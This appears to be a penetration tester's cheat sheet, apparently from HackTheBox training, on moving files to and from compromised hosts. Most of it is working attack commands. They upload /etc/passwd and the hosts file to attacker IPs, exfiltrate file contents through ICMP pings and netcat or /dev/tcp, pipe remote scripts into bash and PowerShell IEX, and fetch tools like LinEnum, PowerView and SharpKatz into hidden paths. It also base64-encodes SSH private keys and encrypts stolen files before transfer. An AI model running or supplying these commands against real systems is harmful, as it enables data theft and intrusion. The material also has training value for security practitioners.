Transferring Files

Web server

• Personal web server

wget http://10.10.14.1:800/linenum.sh

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

Different methods

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

• PowerShell Web Downloads

DNS

• https://github.com/62726164/dns-exfil

ICMP

Attacker Box

• python script

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

Victim

Linux

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

Windows

# Define the path to the file and the attacker's IP address
$filePath = "hello.txt"
$attackerIP = "172.29.58.89" # Replace with the attacker's IP address

# Read the file content and convert it to hex
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$hexString = -join ($fileContent | ForEach-Object { $_.ToString("x2") })

# Split the hex string into chunks of 8 characters (4 bytes)
$chunks = $hexString -split "(.{8})" -ne ""

# Loop through each chunk and send an ICMP ping with the chunk as the payload
foreach ($chunk in $chunks) {
    # Convert the hex chunk to bytes
    $bytes = for ($i = 0; $i -lt $chunk.Length; $i += 2) {
        [Convert]::ToByte($chunk.Substring($i, 2), 16)
    }
    # Convert bytes to a string for the payload
    $payload = [System.Text.Encoding]::ASCII.GetString($bytes)

    # Send the ICMP ping with the payload
    $ping = New-Object System.Net.NetworkInformation.Ping
    $ping.Send($attackerIP, 1000, $bytes) | Out-Null

    # Optionally, add a small delay between pings
    Start-Sleep -Milliseconds 100
}

Python

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Uploading a File Using a Python One-liner

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

PHP

PHP Download with File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

PHP Download with Fopen()

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

JavaScript

• create a file called wget.js

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Download a File Using JavaScript and cscript.exe

cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

• create a file called wget.vbs

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Other Languages

Ruby - Download a File

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl - Download a File

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

RDP

Mounting a Linux Folder Using rdesktop

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Mounting a Linux Folder Using xfreerdp

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Linux

MD5

md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

SSHFS

• If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Linux

nc -lvnp 4444 > new_file # Recive file
nc -vn <IP> 4444 < exfil_file #  Send File

nc -q 0 192.168.49.128 8000 < SharpKatz.exe

• -q 0 will tell Netcat to close the connection once it finishes

Windows

• Receive file

ncat -l -p 8000 --recv-only > SharpKatz.exe

• send

 ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Note: The same operation can be used to transfer files from the compromised host to our Pwnbox.

SCP

scp linenum.sh user@remotehost:/tmp/linenum.sh

Encode and Decode Files

Encode File

cat id_rsa |base64 -w 0;echo

Decode File

echo "VXNlcm5hbWU6IGh0Yi1hYy0xMjUwNTM3ClBhc3N3b3JkOiB5eHhyekJFbwo=" | base64 -d

SMB Server

• Create SMB server

• Create SMB server Linux (HACK)

FTP Server

• Create FTP Server Linux (HACK)

Windows

MD5

powershell

Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Bat

certutil -hashfile temp.csv MD5

PowerShell Base64 Encode & Decode

Encode

$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))

Decode

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))

PowerShell Web Downloads

• PowerShell Web Downloads

PowerShell Remoting

• To create a PowerShell Remoting session on a remote computer, we will need

  • administrative access,

  • be a member of the Remote Management Users group,

  • or have explicit permissions for PowerShell Remoting in the session configuration.

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

PS C:\htb> whoami

htb\administrator

PS C:\htb> hostname

DC01

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

Create a PowerShell Remoting Session to DATABASE01

$Session = New-PSSession -ComputerName DATABASE01

Copy samplefile.txt from our Localhost to the DATABASE01 Session

Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy DATABASE.txt from DATABASE01 Session to our Localhost

Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

SMB Downloads

Copy a File from the SMB Server

copy \\192.168.220.133\share\nc.exe

• New versions of Windows block unauthenticated guest access

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

Mount the SMB Server with Username and Password

net use n: \\192.168.220.133\share /user:test test

 copy n:\nc.exe

SMB Uploads

• Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks.

  • https://support.microsoft.com/en-us/topic/preventing-smb-traffic-from-lateral-connections-and-entering-or-leaving-the-network-c0541db7-2244-0dce-18fd-14a3ddeb282a
• An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP

  • WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

Configuring WebDav Server

sudo pip3 install wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

Connecting to the Webdav Share

dir \\192.168.49.128\DavWWWRoot

Uploading Files using SMB

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

FTP Downloads

Transfering Files from an FTP Server Using PowerShell

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

• this can be done by typing commands

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\htb>more file.txt
This is a test file

PowerShell Web Uploads

• Linux Configured WebServer with Upload

• use a PowerShell script PSUpload.ps1

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Import-Module .\PSUpload.ps1

Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

PowerShell Base64 Web Upload

• use Netcat to listen in on a port we specify and send the file as a POST request

Attacker

nc -lvnp 8000

• get the following

listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo

• decode the string

echo <base64> | base64 -d -w 0 > hosts

Victim

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))

Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

Encryption while Transfer

File Encryption on Windows

• One of the simplest methods is the Invoke-AESEncryption.ps1

Invoke-AESEncryption.ps1

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text" 

Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded ciphertext.
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
 
Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.
 
.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin
 
Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"
 
.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path file.bin.aes
 
Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [ValidateSet('Encrypt', 'Decrypt')]
        [String]$Mode,

        [Parameter(Mandatory = $true)]
        [String]$Key,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
        [String]$Text,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
        [String]$Path
    )

    Begin {
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
        $aesManaged = New-Object System.Security.Cryptography.AesManaged
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
    }

    Process {
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

        switch ($Mode) {
            'Encrypt' {
                if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName + ".aes"
                }

                $encryptor = $aesManaged.CreateEncryptor()
                $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
                $encryptedBytes = $aesManaged.IV + $encryptedBytes
                $aesManaged.Dispose()

                if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File encrypted to $outPath"
                }
            }

            'Decrypt' {
                if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
                
                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName -replace ".aes"
                }

                $aesManaged.IV = $cipherBytes[0..15]
                $decryptor = $aesManaged.CreateDecryptor()
                $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
                $aesManaged.Dispose()

                if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
                
                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File decrypted to $outPath"
                }
            }
        }
    }

    End {
        $shaManaged.Dispose()
        $aesManaged.Dispose()
    }
}

Import Module Invoke-AESEncryption.ps1

Import-Module .\Invoke-AESEncryption.ps1

File Encryption Example

Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File encrypted to C:\htb\scan-results.txt.aes
PS C:\htb> ls

    Directory: C:\htb

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/18/2020  12:17 AM           9734 Invoke-AESEncryption.ps1
-a----        11/18/2020  12:19 PM           1724 scan-results.txt
-a----        11/18/2020  12:20 PM           3448 scan-results.txt.aes

File Encryption on Linux

Encrypting /etc/passwd with openssl

openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

enter aes-256-cbc encryption password: 
Verifying - enter aes-256-cbc encryption password: 

Decrypt passwd.enc with openssl

openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

enter aes-256-cbc decryption password: